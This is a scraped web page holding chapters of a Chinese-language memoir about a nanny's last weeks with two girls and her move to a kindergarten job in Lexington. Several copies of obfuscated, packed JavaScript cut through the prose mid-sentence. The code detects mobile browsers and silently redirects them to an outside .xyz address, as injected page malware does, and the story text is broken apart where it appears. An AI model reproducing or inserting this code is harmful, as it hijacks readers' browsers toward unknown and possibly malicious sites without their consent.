;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437794|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是忍住了。 班缇做完数学作业拿起桌上的一堆卡通橡皮玩了一会儿,一个一个向我介绍,介绍到丘比特形状的橡皮时对我说“我会画丘比特之箭”,我刚回应了一句“是吗”,她已经冲进阳光房拿起一张纸画起来,我只得耐心等她画完再提醒她该做阅读作业了。 安卡打开卧室门从里面姗姗走出来,这时距离她冲进去已经过了十几分钟,我转头看看她,平静地问:“你现在觉得好些了吗?” 她居然咧嘴冲我笑了笑。 之后班缇做阅读作业,安卡拿着几个娃娃在我身边玩,她不让我看的时候我就不看,她不让我接话的时候我就不接,她让我猜她手中娃娃的名字我就一直猜,我和她说着话,其中夹杂着中文,有些没教过的她也自然知道意思,不愧是从小在新加坡长大的。 我拿起放在墙角的世界地图指给她看我们现在在哪儿,她们要搬去哪儿,中国在哪儿,澳大利亚在哪儿,新加坡在哪儿。 她说:“有个地方居然叫火鸡(土耳其),真是太好笑了!” 班缇在旁边听见也表示强烈赞同:“就是,有个地方居然叫火鸡,真是太好笑了!” 我这才想起来“土耳其”的英文“Turkey”和“火鸡”是同一个词,在中国从小被教成“土耳其”自然从不觉得好笑,看来这还真是语言和文化的差异呀! 班缇做完作业和我们一起到游戏室里玩娃娃,安卡一直表现得非常甜蜜乖巧,看来孩子还是得教育,只是方法要得当,对照育儿书里的说法就是“不要说教,简单讲清道理,态度温和而坚决”。 琳达回来时见到的是一片祥和的气氛,她问两个孩子过得开不开心,我笑而不语,班缇和安卡都很积极地回答:“开心!” 琳达又叮嘱:“你们要多说中文,尤其是班缇。” 班缇低头沉默,我帮她对琳达说:“我也有和班缇说中文。” 临走时班缇激动地和我紧紧拥抱,看来很感激刚才我帮她说话,安卡似乎受到姐姐榜样的感召,也很亲热地和我拥抱。 走到外面,我向琳达略提了一下安卡吃芝士球时发生的事,她立刻显现出忧虑的神色,我连忙说:“你不用担心,因为最终的结果是好的,我觉得这是一个让安卡学习对自己行为造成的自然结果负责的好机会,而她最后也变得很甜蜜。” 琳达这才转忧为喜,同意道:“安卡现在至少已经开始学着怎么做了。” 亨特不在家,琳达提起独自一人照看两个孩子的不易,我同情地说:“我简直不能想象,你一个人要照顾两个孩子,还要工作。” 她补充道:“明天搬家公司的人还要来家里评估搬家费用,现在房东在出租房子,我每天还要保持家里的整洁,幸好我有一个好上司。” 然后她问我孩子放春假前的那天能否全天帮忙照看,我暗暗有些担心那时幼儿园会要求我去上班,转念一想即便那样我也要和沙文说这边的时间已经先定了,因为这个可怜的妈妈需要帮助,于是对琳达说:“没问题。” 31. 第二十章 功德圆满 星期五去幼儿园之前居然感到很紧张,其实只是填一些表格而已,我也不明白自己为什么会那么紧张。到了沙文办公室门口,隔着玻璃窗看见她正在打电话,我站在门外等了几分钟,眼看已经过了约定的时间,只得伸手敲敲门,她隔着玻璃看见我,让我进去稍等片刻,然后挂上电话,说是在和自己的女儿通话,看来她平时的日程也不是很严格。 她开门见山对我说:“因为你的经验和资历有限,所以给你的时薪是十三美元。” 我笑笑未表示异议——无论怎么样我都会接受,现在对我来说最重要的是能够跨过进入这个行业的门槛,获得更多的工作经验和一张麻省的教师资格证。 沙文又继续向我说明:这个职位没有寒暑假,福利包括每年十五天带薪年假、十天带薪病假、两天带薪事假以及一些相关的职业培训,试用期满后会上医疗保险和参加退休金计划。 我看见劳动合同上的开始工作日期是两周后,暗想这时间安排得真巧,刚好在安卡和班缇放春假之后,既不耽误答应琳达的全天看护,还能有三次机会见到两个孩子,和她们有一个平顺的过渡。 填完表格,沙文站起身问我要不要去和班上的老师打声招呼,我当然说“好”,跟着她又去了大班,她向教室里的几位老师知会了一声,提了一句“吉莉即将离职”便转身离开,我只好独自留下和大家找话说。 林奈对我说“玛丽安去打电话了,应该过一会儿回来”,转身继续在电脑上订午餐,一位看上去像中学生的代课老师抬头笑着和我打了声招呼,继续低头陪一个小男孩做纸工,我只得走到吉莉身边,对她将要离职一事表示惊讶,她倒是和气地解释她即将转去教小班,并为将来当一名小学教师做些准备。 我问林奈可不可以给我一份班上孩子的名单,她嘴上答应着,手里却继续订着餐,吉莉好心地指着一面墙对我说她把孩子的照片和名字都贴在上面了,我想把名字拍下来回去熟悉熟悉,一摸口袋却发现手机留在沙文办公室的包里了。 一时没人搭理,和几个老师也找不到什么话题,我站在那里很是尴尬,于是对林奈说:“我先走了,两周后再见。” 她抬头笑笑说:“再见。” 从大班教室出来,我暗暗吁了口气,内心很忐忑,不知道上班后能否和林奈以及玛丽安相处愉快。到沙文办公室向她道别,拿了包离开,我就算正式得到了这份工作。 一回家就给琳达发邮件说明情况并请她做我的推荐人,琳达很快回复乐意做推荐人,不过字里行间透露出一些意外和为难,我表示在上班前会尽我所能帮助她。 星期二接孩子时发现全校师生都扎了各种奇形怪状的发型,据说今天是她们的“疯狂发型日”,班缇编了两条小辫子,一条竖在头顶,一条垂在脑后,安卡则一半头发扎成马尾一半头发披散着。 两个孩子没有对我表现出任何不同,我猜琳达还没告诉她们我要去当幼儿园老师的事,或许她不想让孩子提前感到不安吧,所以我也就没提。 陪孩子在操场上玩的时候上次那个中国女人又来了,今天珍妮的妈妈不在,她就上来和我搭话,问东问西的,得知这是我做儿童看护的最后两周,便提出和我交换电话号码,毛遂自荐要来接我的班,还一直追问我做看护一个小时多少钱,见我不太想说,她居然大剌剌地道:“彦岚,你告诉我没关系的,以后咱们就姐妹相称了!” 我简直惊诧于她的恬不知耻,却不便点破,只得顺着她的话嗯嗯啊啊——若是搁在以往这种八爪鱼似的人物我只会敬而远之,如今却不想再轻易对任何一个人下结论,而是觉得每一个出现在我们生命中的人或许都有其存在的意义也说不定。 突然想到如果琳达一时找不到新的儿童看护,她或许是一个选择,因为她并不介意做短期,也愿意教孩子中文,于是详细询问了她的一些情况。 她说她以前在国内某语言大学当老师,老公曾在美国读EMBA,儿子十五岁女儿十三岁都是美国公民,他们为了孩子在美国上学,去年从中国搬来波士顿并买了房子。 我说我会帮她问问琳达。 回到家班缇打开电脑做数学作业,安卡说想先玩一会儿,我同意了,她拿出一大堆儿童专用指甲油要给我涂,我便任由她在我的手指上涂抹——这几周都对安卡很温和,她似乎慢慢对我建立起更多的信任,当我没听清她的话她也很乐意再重复一遍,看来教育孩子的第一步是先让孩子接受你。 安卡倒洗甲水时不小心泼出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437795|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来很多,自己也被呛得直咳嗽,之后就很小心翼翼,这让我想起育儿书上提到的“要信任孩子,给他们锻炼和犯错的机会,第一次做坏了,他们自然会加倍小心”,看来果真如此,很多时候是我自己需要学习克服焦虑心理,给孩子一个更宽松的成长空间。 班缇写完作业过来玩的时候突然问:“你要去教的班是什么样的?” 原来琳达已经告诉她们了,当然她一直是这样,什么都不瞒着孩子,于是我解释:“我要教的是幼儿园大班,有十九个孩子,年龄在四到五岁,还有另外两个老师一起。” “那你教什么课?”她又问。 “语言、科学、美术、运动,什么都教。” 班缇不再多问,和安卡都未表现出任何不舍的情绪,也许对她们来说分分合合早已习惯了吧。 琳达回来后礼貌性地向我表示祝贺,我跟她解释幼儿园是在她们回澳大利亚之后的那个星期和我联系、上周五给我工作的,又问她有没有找到新的儿童看护,她说还没有,我便提起在操场上遇到的那个中国女人。 琳达说:“我正在和一个女孩联系,等待她的推荐人回复,不过我当然很乐意有其他的候选人,谢谢你,你可以把你说的那个人的信息发给我。” 我这才想起琳达是做人事工作的,这种找人的事哪里需要我替她操心呢?那个中国女人其实我根本不了解,说不定并不符合琳达的标准,于是说:“我只是希望你可以有更多的选择。” 星期四孩子们要去看牙医,我匆匆把她们接回家,让她们一边吃零食一边做作业。安卡做完作业继续给我涂指甲油,她逐一问我喜欢哪种颜色,然后专门挑出我不喜欢的颜色给我涂,最后涂了十个歪七扭八的大白指甲。 这时琳达的电话到了,我按照她的指示给两个孩子穿上外套带上水杯来到楼下,琳达刚从车上下来,我给她看安卡给我涂的指甲,她立即条件反射地说:“噢,真漂亮!”说完自己也忍不住笑了。 我说:“是啊,安卡很喜欢。” 琳达上楼去取些东西,我便带着两个孩子在外面等候,屋外阳光明媚,姑娘们用水杯里的水互相打水仗,安卡还不时往我身上洒——我想现在她们在我身边应该是感到安全和快乐的。 32. 第二十一章 最后一日 放春假前的那次看护是我和两个孩子在一起的最后一天,有了大年三十的经验,我相信最后一天将会是愉快的,也希望给我和她们的这段缘分画上一个完美的句点。 事先在家做了些准备,把两个孩子喜欢的《大富翁》游戏放进包里,还有从图书馆借的安徒生童话《冰雪王后》——之前给她们读了个开头,我希望在最后一天能为她们读完这个故事,又将在意大利旅行时买的两个镶着水钻的皇冠吊坠钥匙链用皱纹纸包好打算送给她们——班缇曾经对我说过希望长大后能拥有自己的珠宝,就让我来提前实现她的心愿吧,也希望将来当她们看到这个美丽的吊坠时,会想起那个曾经在小学时陪伴过她们半年时光的我。 早上和琳达约在牙医诊所对面碰头,到达时班缇刚看完牙,琳达正带着两个孩子在一家咖啡店里吃早餐,安卡一见面就问我有没有带玩具,我说带了《大富翁》,她高兴地大声欢呼。 吃完早餐琳达开车载着我们匆匆驶向她的公司,一面向我解释到公司她会叫一辆网约车送我和孩子回家,一面回身将自己的手机塞给后座的班缇,班缇便打开手机玩一个建设城市的游戏并不停向我解说。安卡被阳光晒得难受,哼哼唧唧地抱怨着,她在妈妈面前很多时候表现得像个小宝宝,和在其他人面前强悍的模样判若两人。 到公司楼下停车场保安告诉琳达进出闸机坏了,需要从另一个入口进去,琳达一面匆匆掉头一面小声说:“这可不是好事,我要错过我的会议了。” 绕到另一个入口进去停好车,她领着我们快步走到外面马路边,用手机叫了一辆网约车,等车的当口安卡开心地抱着琳达在她胸前亲了几口,跟个小奶娃娃似的。 网约车几乎立刻就来了,琳达同我们道别,说:“希望姑娘们今天能够有好的表现。” “我相信她们今天会表现得很好的。”我说。 带孩子坐上车,司机是个很和善的印度小伙子,笑着和我们打招呼,说“今天天气真好”,然后几乎一路上都在向我们微笑。 正值早春时节,路边的树上已经萌出了新芽,路过查尔斯河时我问两个孩子有没有来过这里,班缇和安卡异口同声地回答:“这是查尔斯河,我们当然来过这里!” 十分钟后就到了琳达家,立刻发短信报平安好让她放心。又回到了这熟悉的一方小天地,安卡迫不及待地让我把《大富翁》拿出来,和班缇兴致勃勃地玩了一个多小时,两个孩子的注意力开始分散,我问她们要不要休息一下,她们大声说好,跑到地毯上接着玩乐高积木,班缇双手动得飞快,一会儿功夫就熟练地拼出一块她想要的形状,过了一会儿她俩又转移到游戏室拿出圣诞节我送给她们的拼图来玩。 眼看已经十二点多了,我说:“我现在去给你们准备午餐,你们拼完拼图就吃饭好不好?” “好!” 她俩齐声回答。 我进了厨房,从冰箱里拿出琳达事先准备好的意大利面放进微波炉加热,她这回做了法式馅饼给我当午餐。 这时游戏室里传来班缇的哭喊声,我一边问“怎么啦”一边连忙赶过去,发现班缇坐在地毯上哭叫,而安卡正愤怒地冲她嚷嚷,激动之下不小心踩到班缇的脚,班缇如被针扎了一般,更大声地尖叫起来,安卡生气地冲她喊道:“我不是故意的!” 我蹲下身抱住班缇,问她们:“怎么了?” 班缇边哭边叫:“安卡踢我的背,还踩我的脚!” 而安卡居然开始结结巴巴地努力向我描述刚才的情形:“我刚才在玩这个(她不知道该如何描述小马驹拼图,便拿起拼图的盒子向我比划),而班缇在玩这个(她又拿起怪物高中拼图的盒子),她拼完了又拿出这个(她又拿起装另一套拼图的袋子),我对她说彦岚说了拼完这个就要吃午饭,可是她不听,所以我就踢了她的背。” 我看着安卡憨憨的模样,尤其说到“我就踢了她的背”时一脸的无知无觉,心里不禁又好气又好笑,但脸上却没表现出来,而是温和地对她说:“你如果觉得班缇做得不对,可以好好对她说‘因为我们答应彦岚拼完手里的拼图就去吃午饭,所以你不应该再拼第二套拼图’,不管怎样打人都是不对的,因为这不是好的沟通方式,所以,现在你应该对班缇说什么?” 安卡小声对班缇说:“对不起。” 班缇却不依不饶:“可是她下次还会这样!” 安卡道:“我不会这样了。” “不,她总是这样!” 我对班缇说:“安卡已经开始学习打人不是好的沟通方式了,我相信她下次会好一些的。” 班缇取下她的眼镜叫道:“我的眼镜腿被她弄坏了!” 我拿过她的眼镜看了看:“没坏呀。” “就是坏了,坏了!”她叫道,然后继续哭。 我又仔细检查了一下眼镜,发现一条眼镜腿歪了,我把眼镜腿拿给安卡看:“你看,这条眼镜腿的角度不一样了,这就是为什么我们的动作要轻柔。” 又对班缇说:“不要紧的,我可以帮你修好。” “不,修不好了,永远也修不好了!”班缇叫着冲进卧室,扑在床上继续哭嚎。 我跟进去劝了一下,安卡也急煎煎地跟在后面大叫道:“班缇,不要再哭了,停下来!” 班缇哭得更起劲了,我带安卡离开卧室,对她说:“让班缇自己安静一会儿吧,也许她过一会儿就不哭了。” 安卡气哼哼地说:“她永远也不会停下来的!” 我问安卡知不知道工具箱在哪里,她摇摇头,我就小心地用手反复掰眼镜腿,总算把它恢复得差不多了。 班缇还在卧室里起劲地嚎,我想她和安卡的性格很不一样,安卡在发怒的时候需要自己一个人静一静,而班缇可能更需要人关注,于是又回到卧室,把眼镜递给班缇:“我帮你把眼镜修好了,你试试。” 班缇从床上坐起来戴上眼镜,我问她:“好了吗?” 她点点头,立刻便不哭了。 我拉起她的手:“来,我们去吃饭吧,我需要你告诉我用什么盘子盛饭。” 她乖乖地跟我进了厨房,一场风波总算平息下来。 班缇一边吃午饭一边对我说:“我有一套魔法科学套装,是圣诞节的时候姨妈送给我的,里面有一副就像看3D电影的那种红色的眼镜,戴上以后看盒子里卡片上的字会有神奇的变化,安卡也有一套魔法科学套装,比我的还要好,可以做不同的科学实验。” 说到这里她再也按捺不住,从椅子上跳起来:“我去拿来给你看!”然后一溜烟没了人影,安卡也跟着跑了。 我跟在她们身后:“你们要先把饭吃完。” 班缇说:“我知道,我只是想给你看看。” 我只得说:“好吧。” 她们踩在凳子上从卧室壁橱最上面一层的搁板上拿下来两个大纸盒,然后回到餐桌前,班缇从纸盒里掏出眼镜和卡片演示给我看,安卡叫道:“我要玩我的魔法科学套装!” 我说:“吃完饭才可以玩。” 她把碗一推:“我吃完了!” 眼看制止不了,我想到她俩早餐吃得晚,估计现在也不饿,就说:“你要是吃完我就收起来了,回头你饿了再吃。” “好!” 那边班缇在我的敦促下又扒拉了几口意大利面,也不吃了,玩了一会儿她的魔法科学套装又跑进游戏室;这边安卡开始做各种实验,她的这套魔法科学套装确实很好玩,里面有几个试管、量勺和几袋粉末、药片,把不同的物质加入水里就会产生不同的效果,比如加入白色的粉末会产生气泡,加入红色的粉末水会变成蓝色,加入不同颜色的泡腾片会在水里产生彩色的泡泡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安卡问我:“你可以把《大富翁》送给我吗?” “不行。”我说。 “为什么?”她问。 “因为这是我最喜欢的游戏,我想自己留着。”我回答。 同时我在心里悄悄说:“回头我有别的东西送给你。” 琳达事先交代要让孩子们出门活动一下,眼看已经下午三点了,我对班缇说:“我累了,想休息一下。” “好的。”她回答。 “我现在去一趟厕所,安卡把桌子收拾一下,待会儿我们准备出门。”我说,然后不给她们选择或反驳的机会便离开了饭厅。 几分钟后回到餐桌前,安卡的魔法科学套装收拾了一半,她告诉我她的衣服做实验弄脏了要去换一套,我就快手快脚地将她们的两套魔法科学套装收起来放回壁橱,又把桌子擦干净。 安卡换好衣服,班缇却拿着一个娃娃在玩,成了拖延的主力,她的思维跳跃太快,可以不知疲倦地从一个游戏玩到另一个游戏,如果不介入的话她可以自顾自地一直玩到琳达回家,我只得屡次敦促她们穿上外套和鞋子。 班缇对我说:“我说过了再等一会儿。” 我看看桌上摊成一片的《大富翁》游戏,问她:“我可以把《大富翁》收起来吗?” 她居然立刻爽快地答应了,我便趁着这点时间将游戏归拢收好放进包里。 两个孩子终于换上鞋子,班缇还带了一只橡皮蜘蛛,安卡拿了三个塑料凯蒂猫放在我的口袋里要我帮她装着,可以感觉到她现在对我越来越信任和依赖,回想起曾经与她之间的剑拔弩张,这一路真是曲曲折折走了不少弯路,不过也正是这些弯路帮助我们两个都成长了。 33. 第二十二章 缘起缘落 从家里出来,班缇问我可不可以去学校的操场,我犹豫了一下,想想平时她们在路上拖拖拉拉单程就要半个小时,这一来一回时间太不可控了,便说:“太远了,你妈妈让我们在附近的小公园玩。” 她又央求:“可是我很想去学校操场玩。” 我仍是坚持:“太远了,得让你妈妈同意才行。” 到达小公园已经快三点半,给琳达发了条短信告诉她孩子们在公园玩,事后证明我的谨慎还是很有必要的。 班缇和安卡玩了一会儿秋千,这时一位墨西哥保姆带着一男一女两个四五岁的孩子也来到公园,其中的小女孩像是姐姐,穿着一件紫色有许多星星图案的长袖衫和紫红色的小裙子,脚踩一双紫红色的小凉鞋,金棕色的头发扎成两个麻花辫,可能因为玩耍而有些凌乱,松松地戴着一只红色的小发箍。小姑娘很漂亮,眼睛大而狭长,睫毛也很长,面容安静,不太像美国人的长相,她的英文说得很慢,带着浓重的口音和鼻音,却别有一番韵味。 她跑过来问正坐在一只轮胎秋千上的安卡她可不可以一起玩,安卡点点头,往边上让了让。 墨西哥保姆跟在后面赶过来问小女孩有没有得到人家的允许,我告诉她安卡已经同意了,保姆友好地朝我笑笑,把小女孩抱上轮胎并帮她们推着。 这时远处沙池里的小男孩不干了,哭叫着:“莲曦,过来陪我玩,陪我玩!”保姆过去把小男孩带过来,小男孩还是不停地叫:“莲曦,陪我玩,我想要你陪我玩!” 小女孩说:“你可以和我们一起玩。” 小男孩哭叫道:“可是我不想玩那个!” 我在一旁看着,那个小男孩大大的脑袋、细细的脖子,一副赖赖的样子,简直太可爱了,很像电视里的那种好哭包,又令我想起电影《玉女神驹》里伊丽莎白泰勒那个难缠的小弟弟。 保姆好不容易说服了小男孩来和她们一起玩,可是小男孩刚坐上轮胎安卡就站起来跑掉了,小女孩立刻也跟着安卡跑掉了,小男孩又嚎啕哭起来。 我看见那个小女孩像个小尾巴一样,安卡跑到哪里她就跟到哪里,一开始安卡似乎故意躲着她,笑着不停地换地方,她立刻也毫不犹豫地跟着换地方。 保姆喊小女孩回去和小男孩玩,她一边追着安卡和班缇跑一边回头说:“我想和她们玩,因为她们很美,她的指甲油也很美,我喜欢她们。” 孩子之间居然可以这样直白地表达好感,而理由竟然可以如此简单,我不禁莞尔,也深深被这个小女孩吸引住了。 班缇把她的橡皮蜘蛛扔到平梯的另一头,说是把它扔过岩浆,然后攀爬过平梯说要去救援蜘蛛,她给蜘蛛起名叫Terra,告诉我是“土地”的意思,她们几乎每一个喜欢的玩具都有名字,也得亏能记得这么清楚。 安卡跟在班缇后面爬了过去,小女孩站在平梯前犹豫不前,保姆过来半抱着她爬过去。 抵达终点后,小女孩对站在这头的我说:“我还没有准备好爬平梯,所以我需要帮助,我也还没有准备好写字。” 我不禁笑了,问她:“你叫什么名字?” “我叫莲曦。“ “你多大了?” “我四岁。” 呵,正是最可爱的年纪。 莲曦又对保姆说:“她们很美,她们的声音也很美,我很喜欢她们的指甲油。” 我看看瘦精精的班缇和胖乎乎的安卡,再看看眉目如画的莲曦,只能对自己说审美真是一件非常主观的事,这不禁令我联想到《丑小鸭》里的情节:明明自己就是一只美丽的天鹅却不自知,反而自卑而热切地渴望接近池塘里的其他鸟儿。 我对莲曦说:“你也很美。” 我问保姆那个小男孩是不是莲曦的弟弟,得知他俩竟是龙凤双胞胎,不过二人的性格看上去实在太不一样了。 班缇、安卡和莲曦三个孩子结成一串在公园里跑到东跑到西,很快就成了好朋友,她们一起坐在轮胎秋千上说: “让我们开始对话吧。” 从班缇开始:“我叫班缇,我八岁,我今年上三年级,我最喜欢的颜色是紫色,我最喜欢的食物是冰淇淋。” 安卡接着说:“我叫安卡,我六岁,我今年上一年级,我最喜欢的颜色是彩虹色,我最喜欢的食物是牛油果。” 我不知道她原来最爱吃牛油果。 轮到莲曦了,也是一样的句式:“我叫莲曦,我四岁,我还没有上学,我最喜欢的颜色是粉红色和白色,我最喜欢的食物也是冰淇淋。” “粉红色是我第二喜欢的颜色。”安卡评论道,又和莲曦分享她最近学到的有关熊猫的知识,“熊猫有尾巴,人也有尾骨,简直太好笑了!” 莲曦则告诉安卡她的小狗叫比比,看见安卡白色的裤袜上沾了灰就很自然地伸出手去想帮她掸掉——孩子之间的友谊是那么简单自然! 安卡打开公园里的饮水机喝水,接着玩起水来,班缇和莲曦也跟在边上玩,我上前说:“这水是用来喝的,不是用来玩的。” 几个女孩子笑着跑开了,跟着保姆在旁边玩耍的小男孩也被吸引了过来,试着按饮水机的按钮却按不动,我问他要不要帮忙,他点点头,我一按,水喷得老高溅到他身上,我连忙一边帮他擦拭一边道歉,他笑着说“没关系”,凑上去用胖嘟嘟的小嘴碰到一些水,然后心满意足地走开了,没想到小哭包脾气原来这么好。 我不忍心打断几个刚刚建立起纯真友谊的小姑娘,一直让她们尽兴玩耍,突然收到琳达的短信说她到家了,问姑娘们是否准备好回家,我一看已经四点半了,没想到今天琳达会这么早回来,幸好之前发短信告诉她孩子们在公园,否则她看见家里空无一人不知是否会担心。 走到班缇和安卡面前对她们说:“你们的妈妈回来了,我们得回家了。” 两个孩子应了一声,没有太多犹豫地开始穿放在长椅上的外套,莲曦走到安卡身边问她:“你还会再来吗?” “不会。” “我可以抱抱你吗?” “可以。” 两个孩子站在公园边上的空地中间深情相拥,我看在眼里,心里除了感动竟有点酸酸的——短短一个小时两个孩子竟上演了一出缘起缘灭,每个人的一生中又有多少次像这样和某人萍水相逢、产生连结、尔后又匆匆分别,从此散落在茫茫人海,不知此生是否还会再相见。 班缇率先跑过马路,我跟在后头,然后站在马路对面等着安卡过马路,这时莲曦追在安卡身后跑了过来,我冲安卡喊道:“安卡,莲曦在你后面。” 安卡转过头去,莲曦隔着公园的栅栏向她挥挥手,安卡也挥挥手。 过了马路,安卡颇为深沉地对我说:“莲曦会是一个好朋友。” 我说:“是啊,她是那么甜蜜!” 上次覆盖着厚厚白雪的土坡现在已经变成了草坡,这时太阳出来了,阳光照在新长出的浅草上,清新温暖,绿意盎然。 一进门我就对琳达说:“姑娘们今天在公园里玩得特别高兴,还新交了一个好朋友。” 可琳达似乎有些心不在焉,说她今天有点感冒,所以提前回来了,然后问两个孩子:“你们今天过得好吗?” 安卡大声说:“我们今天过得好极了!” 我向琳达简单交待了一下孩子们的一天,告诉琳达她们的午餐没吃完,琳达说她已经把剩下的午餐倒掉了,因为上面爬了很多蚂蚁。 我小声说:“那么今天是最后一天了。” 她表现出一些遗憾的神情:“噢,是啊。” “我有些东西给姑娘们。”我说着向我的包走去。 琳达跟在我身后:“你不必这么做。” 我向她笑笑,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437797|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背包里摸出两个小塑料袋递给班缇和安卡:“今天是我最后一次来了,所以我有些东西给你们。” 班缇一脸遗憾地“噢”了一声,问琳达:“彦岚以后还会来看我们吗?” 琳达回答:“彦岚要上班,以后会非常忙。” “那周末呢?” “周末也不会,因为她有很多自己的事情要做。” 班缇从塑料袋里拿出裹着皇冠吊坠的皱纹纸包茫然地问:“这是什么?”但是她一打开纸包就兴奋地叫了起来。 安卡也高兴地大声说:“好漂亮啊,我可以把这个挂在我的书包上!” 我向琳达解释:“这是我在意大利旅游的时候买的,因为班缇说希望有一天可以拥有她自己的珠宝,所以我想把这个送给她们。” 琳达好奇地上前一步拿起班缇手中的吊坠看了一眼,发现并不是贵重的东西才笑着没再说什么。 我问琳达:“我可以和两个孩子拍张照片吗?” “噢,当然。” 班缇和安卡拿着吊坠开心地站在我的两侧,冲镜头摆出灿烂的笑容。 拍完我对琳达说:“我们俩也应该合个影。” “噢,对啊。” 班缇帮我和琳达拍了一张照片,安卡也要拍,结果拍出来一张没有头顶的模糊照,琳达仍是满脸笑容地赞美“太完美了”,我则对安卡说“不坏”。 班缇这时已经跑回游戏室,安卡离开前和我拥抱了一下,脸上竟有些悲戚之色,这对于我来说已经是最宝贵的奖励了。 我又和琳达寒暄了几句,祝她在肯塔基州有美好的生活。 她说:“沙文给我打了电话,她是个很和善的人。” 我未置可否,在我眼里沙文其实挺威严的,不知道琳达是如何在一次电话中就听出对方很和善,还是她说话总是这么正面?就像她评论安卡的作品一样,却也常常令人感到困惑。 她问:“你以后上班就会离家近多了吧?” “是的,以后我打算开车上下班,路上只要不到二十分钟的时间。” “那以后你就可以重新变得更加独立了。” 我回答:“我很享受现在的生活,在你们的生活发生改变的同时我的生活也发生了变化,这份工作来到我的面前我就接受它。” “是啊,你们中国人有没有一个词是用来形容命中注定要发生的事情的?” “缘分,英文是不是叫karma?” “对,karma。” 琳达把我送出门,客气礼貌周到,却也没有更多的惜别之情——人与人之间大约也就是这样了吧,尤其西方人之间,彬彬有礼却总保持着距离,不知道哪句话是发自肺腑,哪句话是应景之辞。 回去的路上我感到有些轻松却又并不完全轻松,感慨总算胜利完结了这段经历,留下一个美好的回忆——我知道假如明天还照常接孩子放学未必不会产生新的矛盾和烦恼,所以今天这样结束已经很好了,虽然没能给她们把《冰雪王后》读完是个小小的遗憾,可是人生又有多少计划会实现得完美无缺呢?反倒今天能遇见莲曦是一个小小的惊喜,不过一面之缘,这个小姑娘给我留下的印象却更加深刻。 一段人生经历就这样结束了,心里一抹挥之不去淡淡的不舍和珍惜,不是为了班缇,也不是为了安卡,而是为了我自己——这仿佛是上天特意为我安排的一段集训课程,现在终于顺利完成了,看护两个孩子至今历时六个月,这六个月心情如同坐过山车,过程越痛苦,成长越显著,在这个过程中我受益良多,甚至可说是脱胎换骨,我想我的内心终于已经不再是那个被欺负的小孩了。 接下来又将是新的旅程,会怎么样我不知道,也不想妄加揣测,人生总归是一场奇妙的旅行,奇妙到时常令人感慨赞叹,我就沉下自己的心,去感受,去接受吧。(本卷完) 34. 第一章 教堂里的幼儿园 离开琳达家以后,我开始了第一份幼儿园的正式工作,雇用我的幼儿园地处莱克星顿镇——没错,就是历史课本上“莱克星顿的枪声”的莱克星顿,打响美国独立战争第一枪的地方。 莱克星顿如今是一座美丽富裕的上中产阶级小镇,镇中心集中了邮局、银行、政府办公楼和公共图书馆等便民设施,还有一条小商业街穿过,街道两旁林立着各类精致的店铺,其中一家中餐馆的小笼包口味非常地道,一家粤式早茶自助餐物美价廉,还有一家台湾夫妇开的糕饼铺里出售十分可口的鲜奶蛋糕,我和老公因为这几家店时常光顾镇上。 小街尽头的大草坪中间矗立着一座可爱的小房子,是莱克星顿的历史纪念馆兼游客中心,里面展示着一些独立战争时期的图片、当年民兵穿着的服装和使用的武器以及一个模拟当时战争场景的沙盘,逢特殊日子还能看见许多身着两百年前美国服饰的男女老少在草坪上举行纪念活动。幼儿园在小街的另一头,可谓地处风水宝地,午休时下了楼就能来一场穿越时空的历史之旅。 幼儿园位于教堂的侧楼里,与主楼一墙之隔,每日整点都能听见教堂报时的钟声,倒省了看时间,偶尔隔壁传来低沉的管风琴声,玛丽安就会略显郁闷地对我说:“教堂又在举行葬礼了。” 上班第一天比想象中要容易许多,三名老师被数量众多的孩子和满满当当的日程围绕,彼此间倒也相安无事。经历了安卡的魔鬼式训练,我现在几乎对无论什么样的孩子都能够应付自如,不过玛丽安一再强调这个班的孩子是经过她和林奈大半年的辛苦调教才这么好带的。 大班教室的后面有一扇门直通后院,每天上午和下午老师都会带孩子们到院子里各活动一个小时,有了这接触大自然呼吸新鲜空气的大段时光,我倒也不觉得教室里有那么憋闷了。 